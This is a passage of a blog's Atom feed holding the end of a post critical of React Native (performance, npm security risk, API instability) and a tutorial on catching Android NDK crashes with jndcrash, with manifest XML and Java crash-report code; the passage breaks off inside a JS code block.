<a href="https://engineering.udacity.com/react-native-a-retrospective-from-the-mobile-engineering-team-at-udacity-89975d6a8102?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Udacity</a> and   
    
    
<a href="https://medium.com/airbnb-engineering/react-native-at-airbnb-f95aa460be1c?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Airbnb</a> tried and gave up on React Native.   
    
    
<a href="https://dropbox.tech/mobile/the-not-so-hidden-cost-of-sharing-code-between-ios-and-android?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Dropbox</a> tried a common C++ layer for Android and iOS gave up as well. Discord faced tons of performance and battery drain   
    
    
<a href="https://blog.discordapp.com/how-discord-achieves-native-ios-performance-with-react-native-390c84dcd502?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">issues</a> as well. If all these well-funded companies had a tough time making React Native work, ask why would it succeed in your case.</p>
<h3 id="other-concerns-security">Other concerns: Security</h3>
<p>One thing that many don&rsquo;t realize is that React Native packages come from NPM. And that&rsquo;s a   
    
    
<a href="https://www.reddit.com/r/node/comments/a1ysm2/eli5_why_is_npm_a_broken_system_security_wise/eaul4hn/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">security mess</a>. Of course, it matters less if you are building a music player but if you are building finance or a cryptocurrency app, it is a matter of time before   
    
    
<a href="https://www.zdnet.com/article/malicious-npm-packages-caught-installing-remote-access-trojans/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">you</a> will be   
    
    
<a href="https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">targeted</a>. And this matters more to React Native apps than native apps. The native apps might depend on some external packages as well. But the React Native app will depend on third-party packages for even trivial functionality such as   
    
    
<a href="https://www.npmjs.com/package/react-native-fs?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">writing to disk</a>. And npm packages themselves suffer from   
    
    
<a href="https://blog.appsignal.com/2020/04/09/ride-down-the-javascript-dependency-hell.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dependency bloat</a>.</p>
<h3 id="other-concerns-backward-compatibility">Other concerns: Backward compatibility</h3>
<p>As of Jan 2021, the latest version of React Native is 0.63. It is less than 1.0 to indicate that the APIs have not stabilized even after 6 years. So, who pays if the API is unstable? And what if you want to use two libraries that were built   
    
    
<a href="https://github.com/facebook/react-native/issues/1732?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">against</a> two incompatible versions of React Native? Or one against AndroidX and another   
    
    
<a href="https://github.com/react-native-community/discussions-and-proposals/issues/129?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">against</a> deprecated Android&rsquo;s AppCompat?</p>
<h3 id="when-to-use-react-native">When to use React Native</h3>
<p>So, what are good cases to use React Native? When your app does not use the contact book, system notifications, compass, or any other system-specific feature. In that case, also, consider building a good quality web app instead and let users install it as   
    
    
<a href="https://web.dev/progressive-web-apps/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PWA</a>.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">Android: Catching NDK crashes</title><link href="https://ashishb.net/programming/android-catching-ndk-crashes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><id>https://ashishb.net/programming/android-catching-ndk-crashes/</id><author><name>Ashish Bhatia</name></author><published>2021-02-06T17:00:04+00:00</published><updated>2021-02-06T17:00:04+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to efficiently handle Android NDK crashes using jndcrash, ensuring stability with separate processes and optimize crash reporting for your app.</blockquote><p>On Android catching Java exceptions is easy via   
    
    
<a href="https://howtodoinjava.com/java/multi-threading/how-to-restart-thread-using-uncaughtexceptionhandler/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">UncaughtExceptionHandler</a>. Catching NDK crashes is a bit more convoluted. Since the native stack is probably corrupted, you want the crash handler to run on a separate process. Also, since the system might be in an unstable shape, don&rsquo;t send the crash report to your web server or do anything fancy. Just write the crash report to a file, and on the next restart of the app, send to your web server and delete it from the disk. I ended up using   
    
    
<a href="https://github.com/ivanarh/jndcrash?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">jndcrash</a> package for this.</p>
<ol>
<li>
<p>Create a new Service that extends   
    
    
<a href="https://github.com/ivanarh/jndcrash/blob/master/src/main/java/ru/ivanarh/jndcrash/NDCrashService.java?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ru.ivanarh.jndcrash.NDCrashService</a></p>
</li>
<li>
<p>Run this as a sticky service in a separate process by adding the following to the   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/5e6b72b4210116fabcfa221dc021bbd027fadab2/packages/mobile/android/app/src/main/AndroidManifest.xml#L39?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AndroidManifest.xml</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                XML
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-XML" data-lang="XML"><span style="display:flex;"><span><span style="color:#586e75">&lt;!-- Create a new process to handle native crashes
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">         https://github.com/ivanarh/jndcrash#out-of-process --&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&lt;service</span> android:name=<span style="color:#2aa198">&#34;.NdkCrashService&#34;</span> android:process=<span style="color:#2aa198">&#34;:ndkCrashReportProcess&#34;</span><span style="color:#268bd2">/&gt;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Override   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/5e6b72b4210116fabcfa221dc021bbd027fadab2/packages/mobile/android/app/src/main/java/org/celo/mobile/NdkCrashService.java#L27?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">onCrash</a> to read the logcat logs and write a report to a new location. I didn&rsquo;t care about it overwriting an existing native crash report, but if your app has a million+ installs, you should generate filename patterns for crash reports.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">@Override</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">public</span> <span style="color:#dc322f">void</span> <span style="color:#268bd2">onCrash</span>(String reportPath) {
</span></span><span style="display:flex;"><span>    String logcatLogs <span style="color:#719e07">=</span> getLogcatLogs(NUM_LOGCAT_LINES);
</span></span><span style="display:flex;"><span>    String ndkLogcatLogsReportPath <span style="color:#719e07">=</span> getNdkCrashLogcatLogsPath(<span style="color:#719e07">this</span>);
</span></span><span style="display:flex;"><span>    Log.i(TAG, <span style="color:#2aa198">&#34;onCrash, stack trace in &#34;</span> <span style="color:#719e07">+</span> reportPath);
</span></span><span style="display:flex;"><span>    Log.i(TAG, <span style="color:#2aa198">&#34;onCrash, logcat logs are in &#34;</span> <span style="color:#719e07">+</span> ndkLogcatLogsReportPath);
</span></span><span style="display:flex;"><span>    Log.d(
</span></span><span style="display:flex;"><span>      TAG,
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#34;Logcat logs for the native error (from last &#34;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>      NUM_LOGCAT_LINES <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#34; lines): \&#34;&#34;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>      logcatLogs <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#34;\&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">try</span> (FileWriter fileWriter <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> FileWriter(ndkLogcatLogsReportPath, <span style="color:#cb4b16">false</span><span style="color:#586e75">/* append */</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#719e07">for</span> (String line : logcatLogs.split(<span style="color:#2aa198">&#34;\n&#34;</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#586e75">// Build fingerprint marks the beginning of native crash dump which is already</span>
</span></span><span style="display:flex;"><span>        <span style="color:#586e75">// present in the reportPath file.</span>
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">if</span> (line.contains(<span style="color:#2aa198">&#34;Build fingerprint&#34;</span>)) {
</span></span><span style="display:flex;"><span>          <span style="color:#719e07">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        fileWriter.write(line);
</span></span><span style="display:flex;"><span>        fileWriter.write(<span style="color:#2aa198">&#34;\n&#34;</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      fileWriter.flush();
</span></span><span style="display:flex;"><span>    } <span style="color:#719e07">catch</span> (IOException e) {
</span></span><span style="display:flex;"><span>      Log.e(TAG, <span style="color:#2aa198">&#34;Error writing more logs to native crash report &#34;</span> <span style="color:#719e07">+</span> reportPath);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>In the app&rsquo;s   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/5e6b72b4210116fabcfa221dc021bbd027fadab2/packages/mobile/android/app/src/main/java/org/celo/mobile/MainApplication.java#L63?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">onCreate</a>, initialize the crash reporter.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">private</span> <span style="color:#dc322f">void</span> <span style="color:#268bd2">initNdkCrashHandler</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">final</span> String reportPath <span style="color:#719e07">=</span> NdkCrashService.getNdkCrashLogReportPath(<span style="color:#719e07">this</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">final</span> NDCrashError error <span style="color:#719e07">=</span> NDCrash.initializeOutOfProcess(
</span></span><span style="display:flex;"><span>      <span style="color:#719e07">this</span>,
</span></span><span style="display:flex;"><span>      reportPath,
</span></span><span style="display:flex;"><span>      NDCrashUnwinder.libunwind,
</span></span><span style="display:flex;"><span>      NdkCrashService.class
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> (error <span style="color:#719e07">==</span> NDCrashError.ok) {
</span></span><span style="display:flex;"><span>      Log.i(<span style="color:#2aa198">&#34;MainApplication@initJndcrash&#34;</span>, <span style="color:#2aa198">&#34;NDK crash handler init successful&#34;</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#719e07">else</span> {
</span></span><span style="display:flex;"><span>      Log.e(<span style="color:#2aa198">&#34;MainApplication@initJndcrash&#34;</span>, <span style="color:#2aa198">&#34;NDK crash handler init failed: &#34;</span> <span style="color:#719e07">+</span> error);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>It is probably best to read and submit any existing reports in the same <em>initNdkCrashHandler</em> method. Since we were using React Native, we ended up doing it a bit differently. We used Sentry to   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/1b5267334c6f1b9a9963e38f5f4c58034d5650ec/packages/mobile/src/sentry/Sentry.ts#L39?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">wrap</a> a native crash and report it as a Java Exception; you can do this for your crash reporting mechanism as well.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Js
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
